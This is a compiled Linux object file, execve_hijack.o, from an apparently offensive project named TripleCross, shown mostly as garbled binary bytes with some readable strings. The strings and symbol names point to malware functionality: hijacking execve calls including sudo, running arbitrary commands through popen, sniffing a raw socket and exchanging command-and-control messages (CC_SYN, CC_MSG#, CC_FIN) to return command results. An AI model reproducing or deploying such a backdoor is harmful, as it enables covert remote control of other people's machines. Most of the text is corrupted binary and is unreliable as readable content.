TripleCross/src/helpers/execve_hijack.o

ELF


>
@@@
<00><1E>UH<55><48>H<EFBFBD><48>0H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD><31>
<00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>5H<><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>u.H<>=<00>H<><00>jH<6A><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48><EFBFBD>H<><48>u<EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>M<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48>0
dH<64>%(H<>E<EFBFBD>1<EFBFBD><31>
<00>
<00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
H<><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>u
<EFBFBD>
<00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>u
<EFBFBD>
<00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>@H<><00>8<EFBFBD>H<><48>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>M<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48>AWAVAUATSH<53><48>x
<00><>|<7C><><EFBFBD>H<EFBFBD><48>p<EFBFBD><70><EFBFBD>H<EFBFBD><48>h<EFBFBD><68><EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>=<00>Dž<><C785><EFBFBD><EFBFBD><00>=<3D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<EFBFBD><14>H<><48>p<EFBFBD><70><EFBFBD>H
<01>H<EFBFBD><10><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>=<00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<01><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;<3B>|<7C><><EFBFBD>|<7C><><00><><0F>I
H<><48>H<EFBFBD>Ë<EFBFBD>|<7C><><EFBFBD><EFBFBD><EFBFBD>
Hc<48>H<EFBFBD><48>
H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Hc<48>I<EFBFBD><49>A<EFBFBD>Hc<48>I<EFBFBD><49>A<EFBFBD>H<>H<EFBFBD><14><00>H<><48>
H
й<00>H<><48>Hk<48>H<><48>H<EFBFBD><48><00><><EFBFBD>H<EFBFBD><48>H)<29>H9<48>tH<><48>H<><48>$<24><00><>H<EFBFBD><EFBFBD><C281>H)<29>H<EFBFBD><EFBFBD><C281>H<><48>t%<25>H<><48>H
<01>H<EFBFBD>H<><48>H<EFBFBD><48>H<><48>H<><48>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<>Dž<><C785><EFBFBD><EFBFBD><00>;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<EFBFBD><14>H<><48>p<EFBFBD><70><EFBFBD>H
Ћ<><D08B><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
H<>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Hc<48>H<EFBFBD>Ѓ<><D083><EFBFBD><EFBFBD><EFBFBD>
<01><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;<3B>|<7C><><EFBFBD>|<7C>H<EFBFBD><48>h<EFBFBD><68><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00>H<><48>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<00>BH<>=<00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Dž<EFBFBD><C785><EFBFBD><EFBFBD><00>0<EFBFBD><30><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Hc<48>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><02><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
H<>Ή<EFBFBD><CE89><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<01><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Hc<48>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H
<01><0F><00><>u<EFBFBD><75><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
H<>5<00><><EFBFBD>Dž<><C785><EFBFBD><EFBFBD><00>2H<32><48>p<EFBFBD><70><EFBFBD>H<EFBFBD><10><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<EFBFBD><02><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
H<>Ή<EFBFBD><CE89><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
H<><48>p<EFBFBD><70><EFBFBD>H<EFBFBD><10><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H
<01><0F><00><>u<EFBFBD><75><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
H<>5<00><><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
H<>5<00><><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>5H<><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>u#<23><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
H<>5<00><><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	H<>5<00><><EFBFBD><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>pH<>E<EFBFBD><45>H<>¿<00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<><48> <20><><EFBFBD>H<EFBFBD>u<EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<>
QA<51>I<><49>H<EFBFBD>Ѻ(#<00>@H<><48><EFBFBD>H<><48>H<><48><08><>@<40><><EFBFBD><EFBFBD><EFBFBD>8<EFBFBD><38><EFBFBD><EFBFBD><EFBFBD>0<EFBFBD><30><EFBFBD><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>H<><48>0<EFBFBD><30>y0<79><30><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
H<>5<00><><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Dž<><C785><EFBFBD><EFBFBD><00><>
H<><48>P<EFBFBD><50><EFBFBD>H<EFBFBD>5H<><48><EFBFBD>H<>=<00>H<><48>`<60><><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>5H<><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>5<00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><0F>d
H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>5H<><48><EFBFBD><00><>uH<>=<00>Dž<><C785><EFBFBD><EFBFBD>
<00>/
H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H
<01>H<EFBFBD>CC_MSG#H<>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD>M<EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><08><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>A<EFBFBD>I<><49>H<EFBFBD>Ѻ(#<00>@H<><48><EFBFBD>H<><48>H<><48><08>u<EFBFBD><75>u<EFBFBD><75>u<EFBFBD><75>u<EFBFBD><75>u<EFBFBD><75>H<><48>0<EFBFBD><30>y-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
H<>5<00><><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>=H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><0F><1C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>H<>]<5D>dH+%(t<05>H<>e<EFBFBD>[A\A]A^A_]<5D>rFailed to run commandCOMMAND ERRORRESULT OF COMMAND: %s
Hello world from execve hijackerArgument %i is %s
sudo/usr/bin/sudo/home/osboxes/TFG/src/log	
Sniffing...
CC_SYNFailed to open rawsocket
Sniffed
IP: %s
CC_ACKCC_MSG#Received client message#CC_FINConnection closed by requestReceived request: %s
GCC: (Ubuntu 10.3.0-1ubuntu1) 10.3.0GNU<00>
zR
x
<08>
<00>E<10>C
<02><<00>E<10>C
<02>,\<00>E<10>C
P<><03><04><05><06><03>
<00><>

<00>!7>DIPV]du
<00><00><00><00><00><00><00><00>
<00>
<00><00><00><00><00><00>?<00><00><00>

^*
1
8
?
execve_hijack.cexecute_command_GLOBAL_OFFSET_TABLE_callocpopenputsstrcatfgetsprintfpclose__stack_chk_failgetLocalIpAddressgethostnameexitgethostbynameinet_ntoastrcpymaingeteuidexecvelocaltimeasctimewriterawsocket_sniff_patterninet_ntopbuild_standard_packetrawsocket_sendstrtokstrcmpstrlenfree0<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>E<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>M<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>e<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>j<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>q<00>	<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>T
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>c
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>~
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>D]N<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>h<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ap<00>u<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>J<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>}<00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>&<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>D<00>K<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>g<00>n<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>x<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><<00>C<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>P <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>w<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<00>!<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<00>!<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	
<00>"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"-
,<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Q<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>g#<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1$<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>@$<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Z <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>s
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> @<00>`<00>
.symtab.strtab.shstrtab.rela.text.data.bss.rodata.comment.note.GNU-stack.note.gnu.property.rela.eh_frame 
@<00>
@<00><00>
&
<00>
,<00>
1
<00>G
9
0
&

B
5

R8
 j
X
<00>e@<00>H	
<00>
x	XD

<00>t